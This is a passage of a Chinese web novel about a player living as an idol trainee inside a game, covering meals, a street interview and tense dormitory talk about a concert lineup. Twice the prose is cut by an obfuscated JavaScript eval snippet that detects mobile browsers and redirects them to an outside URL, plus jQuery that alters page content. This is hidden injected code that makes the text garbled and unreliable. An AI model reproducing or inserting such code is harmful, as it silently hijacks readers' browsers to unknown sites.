见到我还在烦恼，他又悄悄收敛些那些外放的气息。 林祐真对于我的烦恼不以为意，但是又知道其中的原因，所以在散发快乐的同时不忘替我寻找解决方法：“团体节目的话，不如我们组合在一起。” 我说过，他某种意义上来说的确是个好人。 他的提议提起来非常美妙，我为了矜持还是先表示出推辞的意思。 加上他骗我这件事还没完，我记仇地只是把他名字前的骗子前缀擦浅了些。 “嗯，”我故作高深，“那些之前的人不要紧吗？” 林祐真不以为然，低头不知道在看些什么，语调轻松：“没关系，再找些和我们一样的人就是了。” 一样的人。 我心中冷笑，加深了骗子林祐真的印象，深吸一口气又平静下来。 算了，不过是未来队友而已，与其想这么多不如先思考一下自己可怜的实力。 丑陋如僵尸般的舞姿，呕哑嘲哳难为听的嗓音，偶尔抽搐的表情，难听的口语发音…… 我莫名燃起火气的心被一盆凉水泼下，再也支棱不起。 我还没来得及继续为自己默哀，林祐真走到半路就停了下来。 长廊里只有我们两个人。 他盯着我的手指，忽然提议道：“今天早些休息，我们去吃好吃的吧。” 我正有此意，肚子的饥饿让我无法忽视，今天偷懒一会也无妨，大不了吃完再来。 可我吃饭的目的地并不是外面的馆子，我钱财宽裕，但是外出吃饭必然会十分尴尬。 我目前还不想和林祐真面对面吃饭。 “不要。” 我拒绝：“我回去做饭就可以了。” 楼层有公共厨房，只不过除了我没几个人会开火罢了。 林祐真长久思考一阵，目光闪闪发光看向我：“太好了，可以带上我的一份吗？我们可以去买些食材，钱我来付就好。” 他热情到诡异，像是抓到我的什么弱点在使劲出力强攻着，但是声量还是显得低调。 林祐真再接 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总感觉两个人都有些害怕我，一个两个都在老实地抬头仰视着我，露出细白的颈脖，像是努力表现出自己无害的猎物。 “我是裴宁，是主舞，我们声乐大课是一个班级的。” 深棕发小卷毛先发制人，看我的眼神带点谨慎，话语里带着自来熟的气息，但行为看起来有很拘谨，说话很快。 “我是李叙白，唱歌还不错呀，不过rap也很厉害，”娃娃脸锅盖头搞怪地做着鬼脸，“hello呀帅哥，早闻大名。” 面对着我岿然不动的冷脸，他的嘴角微动，又拉出一个近似于可怜的微笑，像在埋怨我的冷漠。 两个人的名字我早就知道，毕竟游戏内主要NPC的主要背景我都烂熟于心。 裴宁在成为练习生前在社媒上就小有名气，是通过网络选拔而来的，舞蹈和唱歌都不错。 李叙白则是曾以着rapper身份参加过相关综艺并且获得了相当有分量的冠军，唱歌不错，舞蹈也不是短板。 两人都与着我这具身体的年龄相仿，也曾在公司内的文化课上相遇过，只不过我们三人的水平差距，大概就是对方在大气层而我在地面小泥潭吧。 实在不是我自贬，事实让我心情不太美妙。 我也无意于将自己的问题怪到别人的身上。 毕竟如果只有几个人比自己实力要强，那我还能心底喃喃几句。但现在的情况是大概综合实际上只有几个人是和我持平或弱于我的，我那点比较的心思便顿时烟消云散了。 我也不吝啬于表示自己的友好，露出笑来出声打招呼。 但与此同时我的步子也没停，仍然往前迈着。 林祐真对于另外两个人反而是更为冷淡，只是点点头，便跟着我一起往前。 另外两个人也同样跟随。 我们四个人就像在走廊上开着小火车一样。 我无奈地把目光移向领头的胆大的小锅盖。 李叙白立刻跳出来回答：“报告！我们和林祐真是舍友！我们也想蹭饭吃！我们也能付钱！” 我对于他耿直的话语一时无言，但裴宁也在附和的点点头。 我本人的心态是多一事不如少一事，但是两个人都带着林祐真舍友的名号，我便把目光投向林祐真，让他来决定。 林祐真快速地抬头看了我一眼，抿直嘴角，面上没带着笑意，看不出高兴也看不出不高兴，只是慢吞吞地说道：“……如果你不想的话也无所谓。” 我微微笑：“没关系，我不嫌麻烦。” 5. 第五章 其他两个人的表情寻常，只有林祐真看起来还算是不似先前那般淡定，所以我猜测应该是林祐真觉得自己和两个舍友的关系一般。 不过林祐真早在我的心里印下了骗子的字眼，对他的表情也不能尽然相信。 但不可抑制的，我看着他那幅不寻常的模样，心底倒是莫名的愉悦起来。 俗话说，自己的快乐是需要建立在别人的不快乐之上的。 林祐真不痛快，我就痛快。 看着他的面无表情，不知为何我的心情异常之轻松。 心中乱七八糟的事情过了一堆，我本着少一事不如多一事的看热闹心思，开口答应了裴宁和李叙白的蹭饭要求。 反正游戏里我的钱有的是，冰箱里还有不少食材，只不过多添上两副碗筷而已。 再者说眼前这两人再怎么算也是有头有脸的重要NPC角色，多接触些也利于我在游戏主线上多走两步。 唉，没办法，这就是在「偶像」这个游戏里作为原始人玩家的悲哀指出，剧情的进展全靠着我自己探索，永远不知道后面会有着多大的惊喜。 我们四个人就这么齐刷刷地在电梯到达一楼的瞬间带上了口罩，再一路开着小火车走上了回宿舍的道路。 公司楼下常年聚集着各式各样的人群，即便走远了些也仍然是有着不少意义不明的人物出现。 因此被拦下也算不上少见，只不过我没想到这一次找上门的是一次街头采访。 此时天色尚早，夏天的太阳落的迟，让我得以把那前来街头采访的两人的面孔都看的一清二楚。 紧张到局促的女人原先还在向着人群张望，身旁还有一位看起来同样是新来的男人正扛着摄像头，面上是如出一辙的紧张。 两个人站在原地张望着，望向我们四人时陡然亮起了目光，立刻快步向我们一行人走了过来。 说实话我心里的警铃狂响，但奈何是四个人聚集在一块的目标太大，想要撤离的动作稍微慢了一步就立刻被拦了下来。 四人的托马斯小火车回宿舍之旅就此解体，原因是像是两个面露激动就像是找到了自己救命稻草的人。 “请问你们可以接受街头采访吗？” 领头的女人率先向我发出了进攻。 似乎只是因为我个头的缘故是四个人之中最高的，且还是站的最前的一位。 我脑内飞速运转着各种念头，僵硬地转身和着后面的三个人对上了目光。 很好，林祐真正不知想着什么，被我瞪了一眼立刻回神了。 李叙白虽然看起来是个话痨自来熟，但是遇到陌生人搭话还是很谨慎。 裴宁则是头上的卷毛都塌下来了，看着我的目光正在求救。 我们四个人露在口罩之外的四双眼睛沉默地相互接触。 我试探性地退了一步，其余三人又齐刷刷地退后一步。 四个人的同步率直达百分百。 很好，可以去开初号机了。 我冷静地思考着。 但是又觉得自己已经是被逼到说胡话的境界，才冒出那个突如其来的动作和思考。 再仔细看看其他三个人的动作。 ......这是干嘛。 我有些无言。 转头又面对两个陌生人，开口拒绝道：“抱歉，我们有急事需要离开。” 懒得应付别人，街头采访不是游戏里的必要内容，我没必要接受一个根本就没有奖励的支线内容。 且公司本身就要求未公开的练习生也有不能过多曝光，不要在外界那边挂上名字。 出于两方面考虑，我拒绝得很是果断。 但是没想到看起来表面很是青涩的两个人行动的雷厉风行。 领头的女人还是毅然决然地拦住了去路，并且迅速向着身后打了个手势。 接到指令，后面的男人立刻打开了摄像头，快速调整好了镜头后对准我们四个人。 我很烦，没想到被两个人就这样赶鸭子上架，且要被迫参与一个收获感为零的直线任务。 但是这个地段离着公司不远，我们身上携带的LOGO也非常明显，眼前的人可能也是明显是定准了才上来的。 我的不耐烦无济于事，对方的目标明晃晃的是我们四个。 我皱眉，感到厌烦，内心无比期待着这个街头采访会被限流，这样我们出镜这件事的影响也会被降到最低。 随后我还是勉强地调整了语气开始回答问题。 谢天谢地的是女人终于很快放我们走了，带着后面的摄像机兴冲冲地奔向下一个受害者。 终于逃出生天之后，不知道是谁轻声说了一句。 “太好了。” 两个人没有多余的举动，不是公司前辈的狂热私生，虽然情绪过于高昂且动作强硬，但是的确是仅仅询问了问题就能够离开了。 问题也很是正常，只是类似于品牌街头采访中会听到的普通问题，没有任何潜台词的暗示。 非常干净，非常简单。 被采访通过后心中多少有些劫后余生的感受。 我也不由得轻松地笑了笑。 只是因为实在是公司对此做了太多功课和警告，光是我进来的一段日子内都听了不少，那其余三个人他们只会听更多。 所以才会表现出类似于“得救了”的表情。 接下来的一路气氛很是轻松，就像是解决了一件不简单的大事一样，之后一定要痛痛快快地放声大笑才算是结束。 裴宁和李叙白应该关系很是不错，也相当絮叨。两个人的说话语速都很快，像是机关枪一样就秃噜出来一大堆话，从练习生生活说到自己的爸爸妈妈，再想起家里养的泰迪和布偶，说口提及也不知道之前的朋友怎么样。 “而且，我最近也遇到了不少好事啦！” 李叙白语调高昂地说道，激动的娃娃脸一片通红，将双臂张开，像是在拥抱什么。 他说的话好像意有所指，但是并未明确点出，只是再下一秒又用着含糊的话语带过。 像是知道些什么的裴宁捂着嘴偷笑，也顺着李叙白 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李叙白和裴宁是在说着自己的爸爸妈妈，抱怨着他们有些啰嗦，再由此延申到了小时候的事情，说起来了自己最讨厌的课程和放学后会和朋友们做的事情。 游戏设定里的赵修研有着一对支持他的父母，家里还算是有钱，他很聪明，跳级获得了高中毕业证书后才选择成为练习生。 「偶像」游戏里总是有着很多不必要的细节，比如这样的游戏设定。官方会把玩家所操纵的身体的过往记忆所记录的完完整整，设计成一本近似于书的东西，我只要抽出就能阅读起过去。 我仔仔细细地思索着那本关于赵修研的记忆书本。 赵修研的成绩很好，对所有的课程都感受平平。因为长得好看，所以朋友很多，放学之后会去咖啡厅之类的地方，也会相约着上学习班，互相讨论着课程。 算是一个好看又乖巧听话的男孩的普通日常，没有什么特别之处。 我想着，随口挑出一些回答：“因为成绩很好，所以感觉都一般般的样子吧。放学之后会去咖啡厅写作业之类的。” 赵修研的记忆对我来说就像是隔了一层膜，有些熟悉，但是更多的是陌生。 李叙白听了我的话之后吐槽：“哪有自卖自夸自己成绩好的人啊，这里可没人会夸你！” 他一边脸上表现出不屑的表情，一边又迫不及待地问道：“你是哪个学校的？成绩真的很好吗？” 练习生群体里只上到初中就没有继续下去的人数不胜数，三个人里除了林祐真都是这样。 我随口报出一个学校的名字，是本地很有名的私立高中。 “大概是全班前三，这样的吧。” 我总结道。 裴宁真心实意地发出感叹：“哇！” 他的双眼发光，这世界的人总是对聪明人多了些喜欢。 而作为把我拉入话题的那个人，林祐真只是面带着微笑看着我们三个人说话。 我转头看了他一眼，发现他正落在我和裴宁他们的身后，默不作声地走着。 6. 第六章 快速将街头采访的事情抛在脑后，回到宿舍后我立刻开始着手准备起来。 而派不上什么用场的裴宁他们则是兴冲冲地跑回自己的宿舍放好背包，再准备跑去宿舍楼底下的便利店买些饮料和零食充作饭后解闷的东西。 很快一行人道别，前后手的推开门进入了各自的宿舍房间。 我回了宿舍一趟，本意也是放下背包，却发现我的一位舍友正沉默地坐在他下铺的床上。 公司虽然财大气粗，对待练习生的待遇不错，但是在部分细节之上还是遵循了早前的经验，比如宿舍之中的上下床。 我和他是上下铺的关系，一当他落寞地独自一人坐在床上时，对我来说势必是非常显眼。 所以我进门的第一时间便注意到了他。 只是因为对方还在闷头沉思着什么，黑黢黢的眼睛无神看着前方，看起来并没说话的意思。 我看了眼他，总归也没有打招呼的心思。 毕竟就算以后真的在一起成团出道了，彼此之间也只是同事而已，界限分明相敬如宾就已经足够，再进一步就显得不大礼貌了。 稍稍整理一下思绪，我把手机从挎包里掏出后就准备出去，却没想舍友却忽然叫住了我。 “修研哥。” 他的声音很小，近似于呢喃一般，很快就散去了，传到我耳朵里只是低低的一声。 目光已经挪到我的身上，但是依旧没什么神采。 说是舍友，其实对方有名有姓，同样是背景设定中我的预备役队友一位。 名字是宋时蕴，舞蹈很好，才十五岁就有着很瞩目的长手长脚，跳舞好的出奇，跟我没上什么交集。 性格也非常内向，属于八竿子打不出一个屁的家伙，在宿舍里和我一样都是无组织无纪律的独行人。 宋时蕴同样舞蹈很好，但是和旁人都不是一个路子，与着公司内正统舞蹈好的人少了一两分规训，故而面对镜头时的舞姿显得灵动又飘逸，很能吸引人的目光，每次的月度评价他的位次都因着出色的表现力更提上了几分。 但是他较为孤僻，年龄比我还要小上一两岁，带着未褪去的稚嫩面孔，算得上是未来可期。 我对宋时蕴突然叫住我的一事感到莫名，但本着原始人玩家广结善缘的本能雷达，我还是转过了神，回应了他的话语：“怎么了？” 他木楞楞地看着我，蜷缩着手脚抱做一个团缩在了床的角落处，看起来颇为憋屈和可怜。 我感觉气氛不对劲，但是早前作为玩家晃荡在各个游戏世界中的经历让我的共情能力实在是不大理想，走近了进步发现了宋时蕴的眼眶正是红彤彤的一片，心里也不知道该怎么具体安慰。 宋时蕴看着我走过来，没有任何避让的动作，只是睁大着眼木木地看着我。 他的眼睛很大，此时却收敛了半分，只是微阖起，泪水在眼眶里积蓄了半天，沾湿了浓密卷翘的睫毛，最终还是成了一片溃堤，顺着面颊滑落。 他并没说上什么，仅仅用力地锁着嘴巴，用以抵抗不老实的泪水，眼底透出几分倔强。 宋时蕴的脸算的上清秀，看着他因着妄图用显眼鼻基底和口轮匝肌困住眼泪而逐渐变得狰狞的表情，我还是没忍住自己的笑声。 宋时蕴还是一张哭哭脸的沉浸在自己的世界里，分毫没有听见我的心声。 我也连忙把收起不合时宜的笑容，用着自己所积累的为数不多的人情世故类的经验试探起别人属实是不太礼貌，于是我便也安安静静地看着他哭花脸。 “修研哥，”宋时蕴终于停下了哭泣，眨巴眨巴眼睛看看我，又喊了我一声，“还是你好。” 我对他扣上来的一顶大帽子表示敬谢不敏，见他控制好了情绪就想要转身离开。 这一下午实在是给我累得够呛，肚子属实是饿的不行了，一早上健康老师称重之后就命令我赶紧增重增肌，说是争取打造出一幅好看的身体，再瘦下去只怕是身体线条要更难看了。 本来我在这「偶像」游戏里实力在练习生就算不上是出挑，要是再没个好身体恐怕是更加糟糕。 不过健康老师平常只顾着让人减肥，增重增肌的话倒是很少。 这样的话仿佛有种预兆，我立刻收回思绪及时止损，计划今天晚上要做的饭菜。 宋时蕴就像是叫魂一样，又喊了我一声：“修研哥。” 他年龄不大，个头比我还高点，但脸还属于少年范畴。 虽然如此，我对一直不知为何总是黏黏糊糊喊着我名字的男的没什么好感，更多的只有被小孩频繁打扰过后的不耐烦。 “怎么了。” 我再次转身。 话算不上温和，但是宋时蕴迟钝的堪比水豚，对我的不耐烦毫无响应。 然后我就这么看着他又吱吱哇哇地哭了起来，但是因为情绪过去了原因，第二次的哭泣只能算得上是雷点大雨点小，小声干嚎起来根本没实质性结果。 宋时蕴只顾着自己给自己搭戏台：“......还是你好，修研哥。我见到你的第一眼就知道你是好人了，可是我不会交朋友，每天都自己走好孤单啊，别人和我说话我也不知道该怎么回答，好累啊！” “妈妈打电话和我说奶奶生病了，大家去照顾，但是爷爷又生病了，今年我的生日他们来不了了，我好想他们......” 不知道是天真还是憋得太久了，宋时蕴说个不停，他皱着眉头红着眼眶，将自己的孤独毫无保留的说出。 宋时蕴是实打实的十四五岁，我的形影单只是我自己强求而来的，但是他的却不是。 如今一旦找到发泄口就像是发了大洪水，原本安静的他话多的不行，像是蚊子一样在宿舍里周旋着。 有些可怜，也有点烦人。 我心底升起微妙的情绪，感觉他就像个被困住退路但却面对一大堆食物的蚂蚁。 要么吃完后饿死，要么逃出去。 我对着听NPC诉苦没多大兴趣，在进入游戏前知道的东西对我来说都是废话，于是那点情绪消散了之后，我又要抬脚离开。 我正要离开，却听见一声饥饿的肠鸣。 宋时蕴已经收拾好了自己的情绪，随手从自己的化妆包里掏出一个粉扑往脸上拍了拍，那点红肿掩盖下去不少。 他动作很快，见到我因为声音而回看他的一眼，脸瞬间红了起来。 宋时蕴小心翼翼地试探道：“我也可以一起去吃饭吗？以后我也可以做！” 他见过我做饭，第一看到时还颇为惊讶，猜到了我现在出去的原因。 赶一只羊也是赶，赶一群羊也是赶。 话虽这样，我还是拿出手机发消息和林祐真说了这个消息。 林祐真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171546|180696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快速地回复了一个OK的表情，没什么不乐意的表情。 我看到回复后沉默地转头，对上宋时蕴期待的目光，又侧过头：“......你来吧。 - 我做饭水平只能算是中规中矩熟能生巧，对着手机上的教程能做个七七八八，但吃起来就是普通日常菜的样子，但是围在桌子上的几个人吃的还是不亦乐乎。 李叙白把自己买来的气泡水饮料发到每个人的前面，顺带把一大堆零食摆在了地上。 “看！” 他指着包装上的一张脸，是公司的前辈，先我们一步的好运和实力并存的练习生，也是公司三年前出的独苗男团。 李叙白没继续说下去，似乎只是招呼一声，把所有人的目光聚集到一起后又像是计划得逞一样的笑着去了给自己挖上了第二碗饭。 裴宁则是偷偷地笑着，宋时蕴忙着对菜像傻子一样擦口水，我和林祐真则是统一地保持了不可言说的神秘微笑。 我专注眼前的饭菜，一边吃，一边余光看见宋时蕴饿虎吞食的模样，感觉他的确是饿了。 堆积成山的米饭搭配着无数捡来的饭菜堆在碗里，噎急了就匆忙喝下几口饮料再继续。 李叙白也差不了多少，看起来是年龄最小的一位，但是却是年龄排行榜上的老大，吃起饭来和宋时蕴一样狼吞虎咽。 我和其他人倒是除了吃饭速度之外一切正常。 吃完饭之后同一层的舍友都差不多回来了，几个人点过头便回了房间，最后只剩了我们五个人在公共客厅里收拾着残羹，聊天声音还是不停，但参与的人倒是不多，只有两个人。 李叙白说起月度评级，同样也是月末考核，烦恼地皱眉。 他向来是和裴宁组队，这次公司却要求至少五人，明显存了考验的心思。 我则是和林祐真绑定了，没那么多烦恼。 月度评级的事情其实也简单，李叙白领头和林祐真简单地讨论一番，初步达成了合作的关系。 我不作声地安静咽下最后一口饭，颇为无聊地想着我们四个人，都是被预定为出道组的人，的确与我和赵修研是一样的人了。 最后却不知为何目光齐齐落在了安静的宋时蕴身上。四缺一，目标远在天边近在眼前。 宋时蕴原先还在作吃饱了之后放空的样子，感受到周围人的眼神后他偷偷看了我一眼，结结巴巴地说：“我、我都可以，和修研哥在一起就行了。” 可怜的孩子根本没什么朋友，每次都是被捡漏的，所以评级不算高。 现在还是被当作腰部挂件捡走的那个。 月度评级的事情暂时过去，却还有别的事情值得烦恼。 两人换着来，现在又是裴宁轻声提起：“年末家族演唱会上的cover，可能会有练习生的舞台。” 空旷的公共客厅内顿时安静下来，只有宋时蕴脱线一样玩着手机小游戏的声音。 作为cover舞者首次亮相于家族演唱会上是每个预备出道练习生的命运。 但是这样的曝光宝贵又有限，对于之前的我遥不可及，现在好像却已经到达了仅有一步的距离。 宋时蕴听到感兴趣的东西，从小游戏里抽身，环视一圈又缩成一大团，自己蹲在角落嘟囔，但是声音却异常清晰：“老师们都没说这件事情，但是名单已经基本定下来了。” 7. 第七章 我面上不动，目光收敛地扫过看过所有人的表情，最后再定格在了说出这话的宋时蕴。 年末的家族演唱会上的练习生cover是每年的传统，大家都知道这件事情，但却都强装无事一般，谁也不提自己究竟会不会被选上，统一默契地回避了相关的事情，仿佛此事像炸雷一般，提起就是犯了禁忌。 谁也没想到宋时蕴会毫不避讳地提起这件事情，说起名单已确定的事情时也信誓旦旦，一幅不以为意的样子。 他说出这话后客厅中顿时冷了冷，还算友好的气氛荡然无存，我收回眼神，假意专心地只盯着手中的饮料包装。 奈何刻在人类的吃瓜心态是无法被克制的，我忍不住余光撇了一眼主动挑起话题的裴宁，他的惊讶不似作伪，想来是真的不知晓名单的事情。 宋时蕴自己爆出个惊天大雷吸引了桌上所有人的目光，但却好像对此一无所知的样子，嘴里还在小声嘟囔着什么，挑挑拣拣地从一大堆零食之中拿出薯片塞进嘴里。 空气沉默半晌，李叙白盯着宋时蕴，一张娃娃脸不复之前的轻松嬉笑：“你怎么知道？” 他语速很快，咬字清楚，尾音丝毫不拖沓，在面上笑容顿时的状态下显得有些咄咄逼人。 “这种事情，你不知道吗？”宋时蕴反问着李叙白，薯片被咬断的声音在凝滞的桌边显得异常清脆。 他不敢和李叙白对视，可却敢偷偷回看一眼我，目光内的含义我读不清，不知道他转头看向我的一眼带有什么含义。 宋时蕴说话的速度也难得快起来，收回看我的一眼，低头扣着手指甲，看起来颇为紧张，继续小声补充道：“大家都这么说的，应该都知道呀。” 他掀开眼皮，标致的丹凤眼满含疑惑，弯弯的弧度带的是全然的不解：“你们也知道的吧。” 声音依旧很小，内心像是下定决心一样，直直地回看向了李叙白。 宋时蕴的眼睛不闪不躲，在看过李叙白的那瞬过去后，又顺带着看向裴宁，带着面对我时从未见过的尖锐。 他嘴角扯着一抹浅笑，像是在询问着两人。 你们都知道这件事情了，还故意提起的原因是什么？ 李叙白挪开目光，紧咬着唇瓣，在这样的目光之下竟然选择看向了我。 我早就在两人对话之后，便懒得再分出心神打量别人，只木着脸坐在一边，再沉默咽下饮料。 不好意思，不管李叙白知不知道，但我还真不知道。 我表现出波澜不惊的模样，把手中的饮料放下，避开投射来的目光。 面无表情的时候也忍不住内心腹诽着宋时蕴和李叙白。 [看我干嘛。] 明明从这顿饭后谈话开始，我就像是个彻头彻尾的误入的路人，被真正蒙在鼓里的那个。 这场随心约起来的饭局活像是针对每个人的鸿门宴，冷不丁就要出现一个被点炮的人，顺带把围观的人也炸个面目全非。 「偶像」这部游戏的自由度很高，主线也还算是明确。但游戏之中很多事件和关键人物的信息都只是粗略的概况，虽然看着信息量很大，但是仔细看过就发现都只是那先众所周知的东西，算是给玩家的游戏背景打了个补丁，这就导致了身为原始人玩家的我对具体细节仅能自己摸索。 而在过往一周都自闭的不行的我当然是对此一无所知，就连长期独处且独来独往的宋时蕴的信息都比我灵通些。 五个人面面相觑，随后又齐刷刷地低头，气氛不复先前的平静，周围一片寂静。 我对李叙白和裴宁的表情没甚在意，但总感觉林祐真的嘴角已经被固定成了相似的弧度，目光也游移地偏向我，似乎也没料到会成这样。 我觉得他此刻可能很是后悔随手敲出了OK字符。 不怪他，谁能想到上一秒还在吃薯片的宋时蕴能在下一秒就打着头阵发起冲锋，把话题彻底终结。 “这样吗？” 李叙白不置可否，主动打破了当前的僵局。 他拿起手机随意拨了拨，打字的速度很快，动作有些急躁，似乎在向着什么人询问。 裴宁看起来有些不安，火急火燎地起身拉着还在打字的李叙白直接进了宿舍。 匆忙之间他只顾得上向我打了声招呼，眉眼低顺到可怜。 宋时蕴等到两人离开之后也没再继续发起进攻，笑着和林祐真打了个招呼又离开了。 抛下炸弹的人轻飘飘地离开了，长手长腿，像个幽灵一样飘忽地进入房间。 餐桌上的碗筷还是一片狼藉，我和林祐真慢吞吞地收拾起这片废墟。 空气里静悄悄的，林祐真神色难辨。 “你知道这件事吗？” 我用力地把抹布把餐盘上的污渍恶狠狠地擦干净，心里打定以后做饭只能自己吃，但也没忘问着一旁同样在做事的林祐真。 林祐真垂着眼睛，力气很轻柔。 他在某方面总会表现出乎意料的真诚。 “我不知道。” 他带着口音的说话声一字一顿，侧脸的轮廓在暖光照下显得模糊不起，真切地带上了属于十六岁的情绪，少见的表现出一点迷茫。 林祐真和同宿舍的关系一般，成为练习生已经是几年前的事情，每天都是以着后背被汗打湿的状态结束训练，一天换下两到三件衣服，每个人看向他的目光都带着点意味不明的气息，但他只顾着干着自己的事情。 他转头看向我，再次重复道：“我不知道。” 林祐真的迷茫只是持续短短一瞬，他无意在这件事情上多说，很快换了话题，漫不经心谈起同公司三年前出道的前辈团体。 团名是N.VISION，公司营销的是视觉队，不温不火，一共五个人，如今还剩下四个人。 “有个人退团了，好像是因为有些糟糕的事情呢。” 他指着饮料上的脸，正是李叙白先前意义不明指向提起的那人。 饮料瓶上的包装模糊了那个已经退团的人脸上的笑容，只能看得出面容很是精致，突兀下垂的苹果肌和尖锐的下颌角是唯一显眼的标致。 我顺着他的之间，看着人像一旁的名字。 [许安] 我张开了嘴巴，却不知道该回应着什么。 那些纠结的、微妙的、让人无法阐述的情感在我心中一闪而过，但最终消失在不停流着水的水龙头之下。 - 夜晚还远不到宁静的时候，我和林祐真溜达溜达又到了舞蹈室。 宋时蕴不知道什么时候又偷偷摸摸地溜了出来，远远地缀在我们的身后。 公司的大楼仍然有着一片亮光，楼下零散又数目众多的分散着一些女孩子在大楼底下拍着照片，也有着像我们三人一样遮掩的严实的练习生在进入大楼。 我选了一间没有贴着名牌的空闲舞蹈室，将水瓶在放在一旁。 在镜子的映射中，我看见林祐真和宋时蕴也同样进来。 我没在意两个人，只是对着镜子，老老实实地练习起了今天舞蹈课上的东西。 虽然舞姿看起来非常抽象和莫名，可我还是挺满意的，至少是有在踏踏实实地练习，不是吗？ 肢体僵硬，手脚摆放都显得多余，表情也在疲惫之中显得狰狞。 因着运动而产生的内啡肽和多巴胺的积累，我心中因着那场不了了之的冲突而产生的郁闷也消散了许多。 期间林祐真和宋时蕴都有在空余时刻对着我的动作和习惯做了些纠正，同样也告诉了我一些我从未知晓的基础点。 “感谢。”我说。 两人对着我的道谢表现不一。 林祐真挑挑眉，摆摆手。 宋时蕴则是带着点我看不懂的羞愧，红着脸小声继续说起来。 在我休息的时间，他也同时停了下来，踌躇着带着我离开练习生，只剩着林祐真一人还在练习。 他似乎对我们的离开全然不知，埋着头还在练习。 我和宋时蕴走到了最尽头的楼道之中，没有监控的存在，只有一片黑暗的寂然。 “修研哥，”他又戚戚然地喊着我的名字，佝偻着腰，“......李叙白他，你还是离着他远一些要好。” 宋时蕴接着先前名单的话题说下去，只是支支吾吾地让我离李叙白远点，他不是好家伙。 我听着话，抬头看向他。 他似乎很信任我，看着我的目光认真，不像是作假。 看起来乖僻的家伙的消息比我灵通得很。 年纪小，但说话老气横秋，呆呆的，又表现出一种超乎常人的精明。 我没接着他的话茬，转而问起了名单的事情。 “你知道名单上的人已经是谁了？” 他点点头，伸着指尖指了指我们两人，再又探向有着林祐真的那间练习室，剩余的话没有说出口，接着暗地指了指身旁隐隐约约闪烁的红点摄像头。 我苦恼地挠挠头，感叹着公司里真是除了厕所里就没有自由可言，对于被安排也没纠结他知道名单具体内容的事情。 我对着被选上的事情没有实感，看着宋时蕴离开楼梯间后就再也没转过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171547|180696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身影逐渐远去，才找到了一点踏着地板的踏实的感觉。 我有些失神，走进练习室，却发现里面的人不是林祐真。 我退后一步，抬头一看，发现自己因为心中的思索而进错了门。 这间练习室灯光压得极暗，处处透露着潮湿和压抑的气氛。明明是正值着热夏的天气，透着光的窗户也在紧闭，空调启动的嗡鸣声更是没有。 房间内只有一个人坐在反着光的深色地板上。 耳熟的舞蹈伴奏声还没停止，放的正是N.VISION的主打新歌《FLY》，层次丰富的编曲和被大量使用的合成器音色，恰到好处的和声，被粉丝称为再生之作。 里面的人坐在地板之上，喘着粗气，哽咽着和我四目相对，脸上还有着两个通红的巴掌印，浑身都被汗浸湿。 我进来的时候，他的动作还没停，一边眼泪模糊，一边打着自己巴掌，口里还跟着旋律段念念有词。 我沉默地站在门槛上观望了一会，只觉得眼前的场景要素实在是丰富过了头。 槽点是充斥在方方面面的角落的，甚至硬要挑出一点作为典型案例都难的过头。 先前作为玩家在游戏世界里经历的那些在「偶像」里都做不得数，因为这个游戏每一秒都在刷新一面，致力于为真实体验的玩家们体验到不一般的感受。 但是出于一位秉持着人道主义的玩家，我隐隐约约感觉眼前这个支线场景我最好还是不要轻易触碰，否则极有可能会开出不一般的小任务和剧场。 可话又说回来了，脚都迈到这了，转身就走岂不是更吸引里面人的注意力。 我对自己的脸的还是比较有自信的，相较于普通人来说记忆点理应是更为深刻。 都是没成年的年纪，练习生中的大多数人都不肯轻易示弱，更不用提被撞见哭这件事情，况且对方还是一边哭一边打自己巴掌，万一因着这件事记上我了可不好。 我都不能保证现实中的每个人都是正常人，更何况是素来喜欢故意夸大反应的游戏世界里。 犹豫了片刻，我踏在门槛上的脚还在犹豫不决，对方却先一步停止了哭泣的动作，好奇地看向我发问。 “你在干什么？” 他的情绪来的快去的也快，现在只有脸上的痕迹才能看出先前究竟发生了什么。 我没有回答，摇了摇头。 理应说我现在应该袖手旁观地直接离开，但是我还是驻足在原地。 对方似乎认识我，也像是不认识，只把我当作一个误入了兔子洞窟的爱丽丝。 他看向我的眼里带着不加以掩饰的好奇，即便他看起来是一幅大汗淋漓的狼狈感。 对方发现了我一直看向他的面孔，也伸手摸摸自己的脸，带着点自豪地说：“其实只有一点痛而已啊。” “真的吗？” 我感觉有些不妙，借着提出问题的动作开始悄悄后撤。 他盯着我的脸怔怔地露出一个笑，回答道：“Staff们说，只有巴掌打在脸上感到痛了才能够进步，才不会麻木。” 我不知该摆出什么表情，果断地在他说出下一句话来解释自己的片刻间“哐当”一下地关上了门，紧接着头也不回地扭头就跑。 长长的一条走廊，明亮的灯光竟然把我的心照的惶惶，这种情绪我从未在之前的游戏经历中体验过。 再次回到了有着林祐真的练习室，我竟然感到了无比的安心。 林祐真递出纸巾，示意我拿过去，擦去我额头上的汗水。 我立刻接过去，擦了擦冷汗。 真实遇见鬼了，早知道就靠着直接拔腿开溜就好了。 我还在想着自己竟然没有第一时间离开的事情。 林祐真对宋时蕴的下落不感兴趣，也没有开口问，看我有些崩坏的表情倒是有些不明不明所以，出声问道：“怎么了？” 我面色苍白，用着一脸见鬼的表情看着他说：“我遇到了很奇怪的人。” 那两个巴掌印还在我眼里历历在目，对方眼底的坚定不加以任何伪装，那种有些高兴又带着点骄傲的表情应当不存在什么伪装吧。 